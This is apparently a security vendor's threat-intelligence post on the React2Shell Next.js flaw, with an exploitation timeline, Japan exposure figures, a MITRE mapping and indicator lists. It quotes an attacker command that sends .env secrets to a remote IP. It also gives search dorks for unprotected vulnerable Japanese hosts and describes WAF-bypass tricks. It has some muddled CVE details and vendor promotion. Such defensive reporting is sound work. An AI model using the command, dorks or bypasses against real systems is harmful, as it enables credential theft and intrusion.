React2Shell Timeline: Bypass that WAF! Analyzing the Exploit Payload & Implications to Japan's Digital Infrastructure

Author(s): Reyben T. Cortes

---

Happy Friday! It was the calm before the storm, within the past 48 hours the security community finally came full circle after details of a working PoC (Proof of Concept) exploit recently went public for CVE-2025-66478, an unpublished Next.js vulnerability built on React created by Vercel. With Its focus on making beautiful interactive user interface, the widely used frontend library garnered over 82 million websites worldwide, becoming the world's most popular attack surface overnight after nation-state actors (China) once again utilized a technique we wanted to coin as spawnsquatting. This is when threat actors are practically spawn killing publicly disclosed N-day vulnerabilities that we have already seen in many cases like last May with Sharepoint CVE-2025-53770 - where there is a high risk of in-wild exploitation from hacking contests where security researchers & CTF players play a role in the zero-day exploit window. Here are some dorks I've been testing for the past hours.

Censys Dork: host.services.software.product = "nextjs" AND host.location.country="Japan" AND NOT host.services.labels.value="HONEYPOT" AND NOT host.services.labels.value="WAF" AND NOT host.services.labels.value="Firewall"

Zoomeye Dork: vuln.cve="CVE-2025-55182" && app="Next.js" && country="Japan"

No Web Application Firewall	Web Application Firewall
17, 146	1,175

Results: 18,293

Figure 1: 17,146 Japan React Nextjs host without a dedicated Layer 7 WAF (Web Application Firewall)

Shodan Dork: "X-Powered-By" "next.js" Country:JP

Results: 38,471

Figure 2: Total Japan React Next.js hosts Unfitered

---

OverReact: The Chronological Timeline

On November 29 at 1:57 UTC just 4 days before NVD public disclosure, Sylvie who collaborated with Lachland revealed 3 ofuscated hashed payloads of the 3rd PoC 02-meow-rce-poc an indirect teaser of what was about to come, the calm before the storm. CWE-502; A deserialization in RSC - React Server Components in the Flight protocol component. This is done by crafting obfuscated nested payloads in

HTTP POST via multipart/form for SSRF - (Server side) functions, deserializing into unauthenticated Remote Code Execution.

Note: Don't worry we'll go into more granular details of how each of these components work

December 2, 2025 12 hours before NVD publication on December 3 - Cloudflare proactively deploys updated rulesets for free and paid customers. The protections are Layer 7 - inspection via HTTP buffer proxied only from Cloudflare to a 128 kb size limit. Keep this in mind as the size limit in the proactive but pre-immature rule will play a role in the upcoming global outage. React server components default at 1 MB and more as attackers adapt to bypass this real-time HTTP limit inspection by throwing junk data upfront.

Note: Researchers also tested the bypass using various encoded formats in UTF16LE & Unicode

Figure 1: ejpir - Tested 3 Non-functioning payload

December 3, 2025 at 17:00 UTC Lachland then published an official advisory page react2shell.com just an hour after being published to NVD - National Vulnerability Database. Within an hour of public disclosure, basic scanners flooded the space starting with BankkRoll - this later developed into researchers from Ejpir testing 3 different payloads in Figure 1. These are non-functioning HTTP payload parameters $ACTION_REF_0 as well as $ACTION_0:0 which failed to send back server-side functions. It did however demonstrate the arbitrary remote code execution we assume Maple took or APT?

Note: PoC published 5 hours after NVD publication, possible this PoC was aided by AI Claude

December 3, 2025 - Within hours leading up to Ejpir's non-working PoC and NVD publication, AWS Madpot Honeypots immediately detects In-the-wild exploitation from China-nexus actors Earth Lamia & Jackpot Panda. Based on our timeline analysis of this event it is highly plausible they weoponized the PoC initially from Ejpir. It corroborates with our hourly timeline. In addition, AWS does not specifically state whether the first round of exploits resulted in a successful remote code execution.

Note: China threat groups weaponized/reversed Ejpir PoC 5-6 hours after the NVD publication

December 4, 2025 at 21:04 UTC Taiwan-CTF player maple3142 published a workable RCE exploit for CVE-2025-55182 on gist.github 18 hours after the AWS report triggering in-the-wild exploit that was originally credited for Lachlan Davidson to Meta and affected vendors with React server components in a private disclosure on November 29. The exploit is structurally the same except Lachland contains 3 versions of the exploits with variations of single-hop and multi-hop nuance via then reference, taking the fake chunk size injection using prototype pollution then:"$:__proto__:then" into the

multipart/form-data via a POST Request triggering the actual RCE execSync('whoami')

inside the _response.prefix

Note: This led to developing variations of obfuscated payloads to bypass WAF & campaigns

December 4, 2025 at 2:55 UTC in just 5 hours after Maple3142 releases the PoC the security community & threat actors began testing different obfuscated payloads for bypassing WAF - Web Application Firewall. In one post identified by s1r1us of subdomains validated to be vulnerable from major companies including but not limited to coinbase, Spotify, and coincdx etc. The regret that the PoC should not have been disclosed is not uncommon. As mentioned, this was observed similarly with the Sharepoint 0-day exploit.

Note: There should be higher scrutiny for researchers/CTF players who disclos PoC at this scale

December 5, 2025 at 11:05 UTC 14 hours after leaking the PoC we finally observed one of the first successful arbitrary remote code executions detected from DefusedCyber honeypots in collaboration with Simon Konohen. After cross-referencing the payloads with several organizations, we were able to confirm this was the exact payload demonstrated in Maple3142 exploit code as demonstrated above. Based on the activity of the first exploit wave attackers simply wanted to exfiltrate sensitive credentials from .env to a malicious address with low VT hits 93.123.109.247 which are hallmarks of long-term esponiage and state actor activities. This means that patching doesn't mean you're now safe especially if you observed the same type of activity. Threat actors now have leverage for any possible persistence activites they have left from your valid credentials unrotated.

Note: cat ./.env | wget --post-data="$(cat -)" -O- http[:]//93.123.109.247[:]8000

December 5, 2025 at 12:00 UTC as attackers are exfiltrating sensitive credentials, Japanese users began experiencing the internal server error 500 code from several Japan websites. This comes as Cloudflare attempts to change HTTP buffer inspection from 128 kb size to 1MB size causing intermittent errors globally from traffic proxied through Cloudflare. From this point in the timeline security community had already been testing various bypasses against multiple WAF vendors including Vercel, Akamai, and Cloudflare. Layer 7 firewalls that were able to be successfully bypassed used 2 main methods of obfuscation, either by loading junk data past 1MB plaintext limit inspection to outright obfuscating the payload in UTF16LE charset.

Note: WAF are limited in how its able to inspect HTTP payloads which is why it isn't fireproof

December 5, 2025 at 17:36 UTC From here on out majority of the attacks have been fully automated. Many victim targets are being used for botnets including Mirai, RondoDox, and cryptodrainer malware campaigns that are now being weoponized by North Korean actor. Observing from several reports we highlight an example of a cryptodrainer malware campaign from John Hammond post. Many users were personally compromised via the crypto drainers because they were still unaware of the critical vulnerabilities, which caused excessive CPU usage in their telemetry nodes. Malware campaigns observed include mult-stage XMmrig Monero Miner, MeshAgentRAT, and DDos botnet clients.

---

What does this mean to Japanese organizations?

The blast radius? It's big: over 17K Japanese organizations appear to lack dedicated Layer 7 firewalls in their environments. Only 1,175 are visibly identified with WAF (Web Application Firewall) protection that may not even work. However, specializing in this region, this comes as no surprise when it comes to its digital infrastructure. Quite a few major Japanese organizations use Cloudflare for their internet protection, the heavy dependence creates a critical single point of failure. This means that moving forward, organizations should create backups and routing alternatives to Cloudflare in case another outage happens. This backup alternative we can help set up as part of our IT consulting service. In addition, our native security solutions Risksensor and ThreatIDR will help protect you through these types of activities. We can immediately walk you through recommendations before this ever happens again.

Threats to Japan & APAC - Asia Pacific Region?

As for the rest, organizations should rotate credentials immediately if they observe any remote executions to view sensitive .env files and patch. Look out for attackers pivoting to other N-day vulnerabilities such as CVE-2025-1338. Defenders in the Japan/APAC-Asia Pacific region should shift attacker behavior and defenses to post-exploitation activities against malware droppers such as Vshell, PeerBlight, EtherRat, Snowlight, PULSEPACK backdoor, and malicious infrastructure related to China-nexus groups Earth Lamia, Jackpot Panda, DPRK, STAC6451, and UNC5174. In addition, we've recently observed a spike in post-exploitation activities related to the Vshell backdoor attributed to the Earth Lamia group that we've included for actionable threat-informed defense below.

React2 Shell Timeline Analysis Conclusions

There are several concerns that we highlight from the React2shell timeline, one of them is the concerning possibility of AI generated Claude tools that not only will increase the speed of reversing a PoC exploit as we've seen with EJpir in under 5 hours, but it will also generate more additional noise to tracking down the real working exploit code. It's also possible that the aid from these tools helped the researchers quickly discover or lead them to working vulnerabilities. Secondly, there needs to be more scrutiny and attention tracking on social media when researchers/CTF players disclose RCE exploits into the public wild at this kind of scale. We've seen this already with Sharepoint CVE-2025-53770 and even last year with ScreenConnect RMM CVE-2024-1709. Third, the speed at which attackers began to automate attacks and adapt to different techniques for bypassing the WAF - Web Application Firewalls exposes defensive weaknesses to threat actors requiring solid layered security. Fourth, organizations need to ensure they have a solid incident-response plans and backups to explicitly cover attacks that occur outside normal business hours primarily nearing into the weekend hours and Friday where organizations are at most vulnerable. Lastly, if downtime is upmost critical we recommend building alternative routing backups if you rely on Cloudflare Internet traffic or any Layer 7 WAF in case this happens again.

How to know if you're vulnerable?

While there are many scanners and validation scripts already out there, you can simply validate safely from the terminal if a target is vulnerable using the same crafted HTTP POST request in the terminal. While this is not recommended, it is possible to do it anyway without hassle!

Note: Receiving a 500 response status code validates the target as vulnerable and vice-versa

RiskSensor Solution: Real Time Identification

If you are looking for real-time identification RiskSensor our 2025 award winning solution quickly validates your attack surface across all your environments. In conjunction with our proactive threat research team Unit Zero we have informed organizations from our analysis on the React2Shell timeline to better protect our customers in Japan and APAC - Asia Pacific Wide.

---

MITRE ATT&CK Mapping

Earth Lamia threat group Profile

MITRE ID	Technique	Context	Link
T1595.001	Active Scanning: Scanning IP Blocks	Scanning large IP ranges to identify live hosts	https://attack.mitre.org/techniques/T1595/001
T1595.002	Active Scanning: Vulnerability Scanning	Probing systems for known vulnerabilities	https://attack.mitre.org/techniques/T1595/002
T1592	Gather Victim Host Information	Collecting details about target hardware, OS, software, patches	https://attack.mitre.org/techniques/T1592
T1583.001	Acquire Infrastructure: Domains	Registering or buying domains for use in operations	https://attack.mitre.org/techniques/T1583/001
T1583.003	Acquire Infrastructure: Virtual Private Server	Renting or compromising VPS instances for C2 or staging	https://attack.mitre.org/techniques/T1583/003
T1587.001	Develop Capabilities: Malware	Creating or customizing malicious payloads	https://attack.mitre.org/techniques/T1587/001
T1190	Exploit Public-Facing Application	Exploiting vulnerabilities in internet-facing applications	https://attack.mitre.org/techniques/T1190
T1078	Valid Accounts	Using stolen or default credentials for initial access	https://attack.mitre.org/techniques/T1078
T1059.001	Command and Scripting Interpreter: PowerShell	Executing commands and scripts via PowerShell	https://attack.mitre.org/techniques/T1059/001
T1059.003	Command and Scripting Interpreter: Windows Command Shell	Running commands via cmd.exe	https://attack.mitre.org/techniques/T1059/003
T1136.001	Create Account: Local Account	Creating local accounts for persistence	https://attack.mitre.org/techniques/T1136/001
T1053.005	Scheduled Task/Job: Scheduled Task	Creating scheduled tasks to maintain access	https://attack.mitre.org/techniques/T1053/005
T1505.003	Server Software Component: Web Shell	Installing web shells on compromised web servers	https://attack.mitre.org/techniques/T1505/003
T1068	Exploitation for Privilege Escalation	Exploiting vulnerabilities to gain higher privileges	https://attack.mitre.org/techniques/T1068
T1078.003	Valid Accounts: Local Accounts	Using compromised local accounts to move laterally or escalate	https://attack.mitre.org/techniques/T1078/003
T1140	Deobfuscate/Decode Files or Information	Decoding obfuscated payloads at runtime	https://attack.mitre.org/techniques/T1140
T1562.001	Impair Defenses: Disable or Modify Tools	Disabling antivirus, EDR, or logging mechanisms	https://attack.mitre.org/techniques/T1562/001
T1070.001	Indicator Removal: Clear Windows Event Logs	Deleting event logs to hide activity	https://attack.mitre.org/techniques/T1070/001
T1036.005	Masquerading: Match Legitimate Name or Location	Naming malicious files/tools to blend in with legitimate ones	https://attack.mitre.org/techniques/T1036/005
T1003.001	OS Credential Dumping: LSASS Memory	Dumping credentials from LSASS process memory	https://attack.mitre.org/techniques/T1003/001
T1003.002	OS Credential Dumping: Security Account Manager	Extracting password hashes from the SAM database	https://attack.mitre.org/techniques/T1003/002
T1087.001	Account Discovery: Local Account	Enumerating local user accounts on a system	https://attack.mitre.org/techniques/T1087/001
T1087.002	Account Discovery: Domain Account	Enumerating domain user accounts	https://attack.mitre.org/techniques/T1087/002
T1482	Domain Trust Discovery	Discovering domain and forest trusts	https://attack.mitre.org/techniques/T1482
T1570	Lateral Tool Transfer	Moving tools or payloads between compromised systems	https://attack.mitre.org/techniques/T1570
T1005	Data from Local System	Collecting sensitive files from endpoints	https://attack.mitre.org/techniques/T1005
T1105	Ingress Tool Transfer	Downloading additional tools or payloads over C2	https://attack.mitre.org/techniques/T1105
T1573.001	Encrypted Channel: Symmetric Cryptography	Encrypting C2 traffic with algorithms like AES	https://attack.mitre.org/techniques/T1573/001
T1571	Non-Standard Port	Using uncommon ports for command-and-control traffic	https://attack.mitre.org/techniques/T1571
T1041	Exfiltration Over C2 Channel	Sending stolen data back through the existing C2 channel	https://attack.mitre.org/techniques/T1041

---

KQL Detection Rule

React2Shell detection rule will only detect any attempts to RCE to view sensitive .env files + IoCs

---

Indicators & C2 domains

Comprehensive list of collected indicators related to timely CVE-2025-55182 exploitation

Indicator	Type	Note
159.75.183.3	IPV4	Earth Lamia Vshell CnC
32d28202fe3339e36dc5bba498e8ab1c0fff94a3f88a6466c09d9c696eb914fc	SAH256	Earth Lamia Vshell
9f7c4faf86b1680d9a6f43e2f28443e1abba19fb14f0ca223235beb90eaab9cd	SAH256	Earth Lamia
653c3318dc1b0bafa3a5549d5222ee24e62f5f36a30319ba85e03332f03051bf	SHA256	Earth Lamia
444837ab41577a1aa7a1c83a150b5e1077db949defec2eb2f7dc79ee4ee1dd71	SHA256	Earth Lamia
45.157.233.80	IPV4	Cryotominer
3baa4c72dfe055193191dbffe5211298beaac2bde9b770c4f4e0fdcf897f2da6	SHA256	Earth Lamia Vshell
3.1.83.60	IPV4	Earth Lamia Vshell
894bde348e881b4e89887f1c55cfb21f13e47d7819d2e207ab60712175b66c29	SHA256	Cryptodrainer malware
2530ebc8e77c784ffe628b3588739ff096a2af4437656144983d1ba04b11538f	SHA256	Cryptodrainer malware
9007bb4a6b8cdeff55224dbbd4b1516669f0737e5ff4590cd4c5aa9cc5b464ed	SHA256	Agent
bb6a05f3bcc5a7bbf5bdf6e5d555c3d51008dcc16f77c48409cad03a06576407	SHA256	Agtisx.exe
8067c9bf0ca1a67352fc7b8c9cc99fed8d9f3f57246712a6cd692edc4b66d323	SHA256	Mirai
176.117.107.154	IPV4	Crypto
193.34.213.150	IPV4	Mirai
23.132.164.54	IPV4	Cryptominer
176.65.148.246	IPV4	Cryptominder
23.228.188.126	IPV4	Mirai
fb82f971bd0cc752c65bb5fbe2300c77c85e48b8e4742692539e410841971610	SHA256	Mirai
176.65.148.246	SHA256	Mirai
93.123.109.247	IPV4	CVE-2025-55182
04aa866bc74fad3811d07e4f260bc7c2248bfc433d4f2f0f340a0c21a879edac	SHA256	Mirai Shell Script
0a85c52582b87383dc226c9b401374e80424d05a3ade681227398d382bfacd1c	SHA256	Mirai Shell Script
24015789fa841ad8c1818b296d3219a15005ce7695a0d819b8be5ea531ee06e5	SAH256	Mirai Shell Script
43d64a7221f45908bbe400229966cebdc5a9e762391edcc23f68ddc623477c3b	SHA256	Mirai Shell Script
451a75780c8ddf51a4dcb94b360dff5fc754ac51aea246a703c0584be9098079	SHA256	Mirai Shell Script
7154d5925302249e61646b00cb18476338977d1d54c095b9298deb378349df90	SHA256	Mirai Shell Script
7f02bf55246aa3478146f8220cf45ca40fba6845c21c833856b76a8b1e4619a4	SHA256	Mirai Shell Script
86f999565282db9794bb1ca355c68ea7db0e4e7c8b16262bbf2b98d89cdc5439	SHA256	Mirai Shell Script
9eee11a8b8e350e7b346951835e171778b7befc61f0ecab0f2945f1ee64b255b	SHA256	Mirai Shell Script
be4ef749ce36a434abee6fb7cf867ddfc27a7b4bba5bc861110876f602f26de5	SHA256	Mirai Shell Script
ac4d516e5645ff1edf3c1c8bd27544a4b5816582b368131be78fd97de64fd797	SHA256	Mirai Shell Script
c67d4803ab8d7c97a0753fc4e4a94f9df6523147cc529da3ed7e29efec0549d3	SHA256	Mirai Shell Script
e94d93f01e04c177cd3a4702a1ffd972cea4d446b6ddec08a6994a767c9c6bf4	SHA256	Mirai Shell Script
fc8d391c9a81d3621ffd52a94be95406fe642107f3a6be1300d1c1354d53c341	SHA256	Mirai Shell Script
31.56.27.97	IPV4	Cryptodrainer
41.231.37.153	IPV4	Mirai
51.91.77.94	IPV4	Mirai
ax29g9q123.anondns.net	domain	Mirai
dockerdupdate.anondns.net	domain	Mirai
f003.backblazeb2.com	domain	Mirai
gfxnick.emerald.usbx.me	domain	Mirai
192.142.147.209	IPV4	Mirai
95.214.52.170	IPV4	Mirai
45.157.233.80	IPV4	Mirai
108.171.195.163	IPV4	CVE-2025-55182
113.161.34.240	IPV4	CVE-2025-55182
116.208.93.64	IPV4	CVE-2025-55182
119.110.207.48	IPV4	CVE-2025-55182
123.30.5.226	IPV4	CVE-2025-55182
123.253.111.41	IPV4	CVE-2025-55182
129.148.46.228	IPV4	CVE-2025-55182
143.198.145.163	IPV4	CVE-2025-55182
146.88.129.138	IPV4	CVE-2025-55182
149.34.253.147	IPV4	CVE-2025-55182
149.88.23.79	IPV4	CVE-2025-55182
154.214.100.130	IPV4	CVE-2025-55182
154.90.51.121	IPV4	CVE-2025-55182
157.180.62.92	IPV4	CVE-2025-55182
172.184.211.80	IPV4	CVE-2025-55182
172.245.59.249	IPV4	CVE-2025-55182
185.220.238.191	IPV4	CVE-2025-55182
185.237.166.132	IPV4	CVE-2025-55182
192.210.241.12	IPV4	CVE-2025-55182
192.42.116.211	IPV4	CVE-2025-55182
195.184.76.42	IPV4	CVE-2025-55182
198.12.111.122	IPV4	CVE-2025-55182
202.59.10.135	IPV4	CVE-2025-55182
205.198.85.23	IPV4	CVE-2025-55182
212.104.215.139	IPV4	CVE-2025-55182
216.144.235.201	IPV4	CVE-2025-55182
216.45.58.177	IPV4	CVE-2025-55182
23.225.6.26	IPV4	CVE-2025-55182
27.74.251.56	IPV4	CVE-2025-55182
38.54.85.208	IPV4	CVE-2025-55182
43.247.134.215	IPV4	CVE-2025-55182
45.127.35.199	IPV4	CVE-2025-55182
45.129.231.10	IPV4	CVE-2025-55182
45.141.215.61	IPV4	CVE-2025-55182
45.84.107.54	IPV4	CVE-2025-55182
46.62.230.188	IPV4	CVE-2025-55182
47.77.204.208	IPV4	CVE-2025-55182
47.88.21.119	IPV4	CVE-2025-55182
8.138.24.55	IPV4	CVE-2025-55182
84.11.167.3	IPV4	CVE-2025-55182
85.237.206.157	IPV4	CVE-2025-55182
89.150.48.74	IPV4	CVE-2025-55182
91.210.107.156	IPV4	CVE-2025-55182
91.212.166.110	IPV4	CVE-2025-55182
95.214.52.170	IPV4	CVE-2025-55182
37.114.37.82	IPV4	Cryptodrainer
37.114.37.94	IPV4	Cryptodrainer
23.235.188.3	IPV4	Powershell Activity
193.143.1.153	IPV4	Cobalt Strike
45.77.33.136	IPV4	Jackpot Panda
206.237.3.150	IPV4	Earth Lamia
183.6.80.214	IPV4	China-nexus
143.198.92.82	IPV4	Earth Lamia
15724b46a96a71d1a50fa55800f13fb0a06b2c813e5205ac984056bf67dff85b	IPV4	Earth Lamia Vshell
chrome-online.site	domain	Earth Lamia
d3hg0xriyu9bjh.cloudfront[.]net	domain	Earth Lamia
dxzdq7un7c7hs.cloudfront[.]net	domain	Earth Lamia
103.30.76.206	IPV4	Earth Lamia SNOWLIGHT / Vshell
bc647e05eea89ea9b5ec3ce728e3c039dd2abd17441e7c39cf130f292edd6efc	SHA256	Earth Lamia PULSEPACK Plugin
7df588daaa053890cebfc0ac09b3c6b64bac4523719bc88323af6cc7e64377ed	SHA256	Earth Lamia PULSEPACK WEBSOCKET
f6ebd2d15f2ae5d0e319ca48d58716db7af1cc1e6200ace1752aad8f446fcef8	SHA256	Earth Lamia PULSEPACK WEBSOCKET
206.206.78.33	IPV4	Earth Lamia Vshell
95682e021447f2a283e03d8d049f3f22e1f83da30dc55c5194f9c655c806decd	SHA256	Earth Lamia Vshell
a0d18728aa159537e436ef0ffcfe272e4a8fc369980c696b2bbf41fc1390b301	SHA256	Earth Lamia Vshell
52adc6234efa29d74addd083703c90c5198c37703733153d3dc9f0b8fb7a16c0	SHA256	Earth Lamia Vshell
42.192.60.49	IPV4	Vshell
ca51db1adeda7303a3aee3feef411e1373d0d26c6b3e14a7a81cd011c855f	SHA256	Possible PULSEPACK Backdoor
40569370f60f3ca9748724c58f92069e36c33313283cf95496ac587b5e561199	SHA256	Earth Lamia Vshell
cfe5c46e00babe4c91135cb2ec89852b764b1c255f3c6a220bf90f35aac3dff8	SHA256	Earth Lamia Vshell
007e5c38bbd52a9f65474fef45ba69c21d6b76c0598fbc6d0aae9fe8daa548b1	SHA256	Xmrig FUD
b67221d6057a2a08bd19cdebf22e6d5557a8794463413e6fc128c7ec15a41415	SHA256	Cryptodrainer
106.15.124.100:6666	IPV4	China IP
38.246.244.223:12233	IPV4	China IP
171.252.32.135:7700	IPV4	Vietnam IP
38.246.244.223:12233	IIPV4	Miner
65.49.236.227:6666	IPV4	Japan IP
8.155.144.158:8892	IPV4	China IP
66.154.106.246:8088	IPV4	Miner
dashboard.checkstauts.site	domain	Miner
e1aca24e6475a1d9f53784c6be4798b738100d44935eb4dfb1801e7f1446658d	SHA256	DLL FUD
9ba6aad7060fcb380ec7f44e6930580ee146fbc579090665f26e204d57bc0585	SHA256	virus[.]sh
0890d2e6a0ea8601666369f4c63978c7cc7198cd06aec728c0496751eb1ef046	SHA256	Shell
128.199.194.97:9001	IPV4	Execute .sh script
ae4991476ed082920e674457f4eceb71367265f4d2150b89214abceb9ebf2407	SHA256	setup2[.]sh Shell
clearskyspark[.]top	domain	Staging domain
05277a3a9674f4c687beac129a1eaa41903b305d576e1a469cc62637701e878e	SHA256	Shell
c55836f1df7c053cb389886602ab25a8001f23ded87109939507c6f90d69c6eb	sha256	setup2[.]sh Shell
deepcloudspark[.]top	domain	Staging domain
greenhillmatrix[.]top	domain	staging domain
silentmountcode[.]top	domain	staging domain
154.89.152.247	IPV4	staging address
154.89.152.168	IPV4	staging address
154.89.152.151	IPV4	staging address
154.89.152.170	IPV4	staging address
43.152.234.213	IPV4	Earth Lamia Vshell
43.152.234.213	IPV4	Vshell
91cca9db00070f0ae92ae8bc14306b10fbd54e1bd5fe785c0e62cfecd92afa1f	SHA256	Earth Lamia Vshell
bba76eed1d4c13006e7ab47757ea400ff01134403c6bfd70d0d136e3ff5cabb8	SHA256	Earth Lamia Vshell
107.175.76.208	IPV4	Vshell Vshell FUD
17271fce020d63450a5d4dd17dd3186c53fa22704e6973ef7d51da5505a0f468	SHA256	Vshell Backdoor
6b14a1aae8339262628e56f02c1f11963d90760c339631d733fe449d536c302c	SHA256	Vshell
115.42.60.57	IPV4	Vshell Backdoor
17acdef55bdc663b66840c2d8b18c0f052fab9f307e2f7889e5e2296ce807691	SHA256	Vshell Backdoor
bae364eb1473d616facdb82443d83af1bd832cd2bd29553ed1f4c44dfb1cf5ad	SHA256	Vshell Backdoor
abcfac672ce387984197f68bb8d99c5963ca15763034ec7d37e82ff8275f58d0	SHA256	Miner
192.24.123.68	IPV4	DPRK
22f96d61cf118efabc7c5bf3384734fad2f6ead4	SHA1	DPRK
e941a9b283006f5163ee6b01c1f23aa5951c4c8d	SHA1	DPRK
787e2c94e6d9ce5ec01f5cbe9ee2518431eca8523155526d6dc85934c9c5787c	SHA256	Miner
185.221.154.208	IPV4	Kinsing
185.154.533.140	IPV4	Kinsing
31.184.240.34	IPV4	Kinsing
6fc94d8aecc538b1d099a429fb68ac20d7b6ae8b3c7795ae72dd2b7107690b8f	SHA256	Kinsing
65b1c2f9aacc2f3fabc6994b0e8bc0c4023090577d9545bf5371003d3810a81b	SHA256	Kinsing
78.153.140	IPV4	Kinsing
7e0a0c48ee0f65c72a252335f6dcd435dbd448fc0414b295f635372e1c5a9171	SHA256	Kinsing
223.5.5.5	IPV4	China IP
7e0a0c48ee0f65c72a252335f6dcd435dbd448fc0414b295f635372e1c5a9171	SHA256	Mirai
9ba6aad7060fcb380ec7f44e6930580ee146fbc579090665f26e204d57bc0585	SHA256	Mirai
2f48e092050b7f050bc3085864598df02766d0416417e2ce4d5703b790f325f2	SHA256	Script
193.34.213.150	IPV4	Miner
894bde348e881b4e89887f1c55cfb21f13e47d7819d2e207ab60712175b66c29	SHA256	XmRig
128.199.194.97	IPV4	Miner
9ba6aad7060fcb380ec7f44e6930580ee146fbc579090665f26e204d57bc0585	SHA256	Miner
ae4991476ed082920e674457f4eceb71367265f4d2150b89214abceb9ebf2407	SHA256	Miner
78.153.140.16	IPV4	Miner
65b1c2f9aacc2f3fabc6994b0e8bc0c4023090577d9545bf5371003d3810a81b	SHA256	Miner
2f48e092050b7f050bc3085864598df02766d0416417e2ce4d5703b790f325f2	SHA256	Script
193.34.213.150	IPV4	Staging Address
894bde348e881b4e89887f1c55cfb21f13e47d7819d2e207ab60712175b66c29	SHA256	Miner
2530ebc8e77c784ffe628b3588739ff096a2af4437656144983d1ba04b11538f	SHA256	Miner
176.117.107.154	IPV4	Miner
128.199.194.97	IPV4	Miner
115.42.60.163	IPV4	Vshell
15724b46a96a71d1a50fa55800f13fb0a06b2c813e5205ac984056bf67dff85b	SHA256	Vshell
15724b46a96a71d1a50fa55800f13fb0a06b2c813e5205ac984056bf67dff85b	SHA256	Vshell
251e8f53e66d26f748efdab49a9b92e07eaaec71e83bfa932ed8fb7322df2cb7	SHA256	Vshell
5212093ae6434bc77f4d3b00ef19a12cb746ea45248b65d0e6ebc6e020d95ec8	SHA256	Vshell
bae364eb1473d616facdb82443d83af1bd832cd2bd29553ed1f4c44dfb1cf5ad	SHA256	Vshell
17271fce020d63450a5d4dd17dd3186c53fa22704e6973ef7d51da5505a0f468	SHA256	Vshell
6b14a1aae8339262628e56f02c1f11963d90760c339631d733fe449d536c302c	SHA256	Vshell
5a51224b9624899d329fba297f6155e41013f1aa92a6cd6b4e058b11ceca79b4	SHA256	Vshell
bba76eed1d4c13006e7ab47757ea400ff01134403c6bfd70d0d136e3ff5cabb8	SHA256	Vshell
bba76eed1d4c13006e7ab47757ea400ff01134403c6bfd70d0d136e3ff5cabb8	SHA256	Vshell
326c7404a30b313f2c2ac1d6cd5ede0b1238fcc7fea2d546919bdb3d71366b71	SHA256	Vshell
653c3318dc1b0bafa3a5549d5222ee24e62f5f36a30319ba85e03332f03051bf	SHA256	Vshell
9f7c4faf86b1680d9a6f43e2f28443e1abba19fb14f0ca223235beb90eaab9cd	SHA256	Vshell
95682e021447f2a283e03d8d049f3f22e1f83da30dc55c5194f9c655c806decd	SHA256	Vshell
52adc6234efa29d74addd083703c90c5198c37703733153d3dc9f0b8fb7a16c0	SHA256	Vshell
40569370f60f3ca9748724c58f92069e36c33313283cf95496ac587b5e561199	SHA256	Vshell
0f0f9c339fcc267ec3d560c7168c56f607232cbeb158cb02a0818720a54e72ce	SHA256	Vshell
776850a1e6d6915e9bf35aa83554616129acd94e3a3f6673bd6ddaec530f4273	SHA256	CowTunnel
a605a70d031577c83c093803d11ec7c1e29d2ad530f8e95d9a729c3818c7050d	SHA256	PEERBLIGHT
3854862bb3ee623f95d91fa15b504e2bbc30e23f1a15ad7b18aedb127998c79c	SHA256	Script
2cd41569e8698403340412936b653200005c59f2ff3d39d203f433adb2687e7f	SHA256	Sliver C2
65d840b059e01f273d0a169562b3b368051cfb003e301cc2e4f6a7d1907c224a	SHA256	Script
207.148.79.178	IPV4	CnC
45.32.158.54	IPV4	PEERBLIGHT

---

References

https://www.linkedin.com/posts/johannesullrich_no-surprise-we-do-see-active-hits-of-the-activity-7402747872695328768-wH-8/

https://www.linkedin.com/posts/tylerhudak_react2shell-inversion6-dfir-activity-7403833259736100864-kAgC/

https://www.linkedin.com/posts/simokohonen_some-acute-non-ip-address-react2shell-cve-activity-7403505114566508544-a_56/

https://www.linkedin.com/posts/nguyen-nguyen-ca_cybercriminals-do-not-rest-since-this-morning-activity-7403161853306175488-OoS2/

https://x.com/08tc3wbb/status/1997320504789872733

https://www.bleepingcomputer.com/news/security/react2shell-flaw-exploited-to-breach-30-orgs-77k-ip-addresses-vulnerable/

https://aws.amazon.com/blogs/security/china-nexus-cyber-threat-groups-rapidly-exploit-react2shell-vulnerability-cve-2025-55182/

https://www.linkedin.com/posts/tylerhudak_react2shell-inversion6-dfir-activity-7403833259736100864-kAgC?utm_source=share&utm_medium=member_ios&rcm=ACoAACaBYeIBTOXinwqD4XQpwULZpdaM9_NU_LA

https://mp.weixin.qq.com/s/a0uB8-dr25TSdeIb2Towrw

https://www.sysdig.com/blog/etherrat-dprk-uses-novel-ethereum-implant-in-react2shell-attacks

https://www.linkedin.com/posts/gameel-ali-8041161bb_react2shell-cve202566478-react2shell-ugcPost-7403913155661357056-CRJZ/

https://www.huntress.com/blog/peerblight-linux-backdoor-exploits-react2shell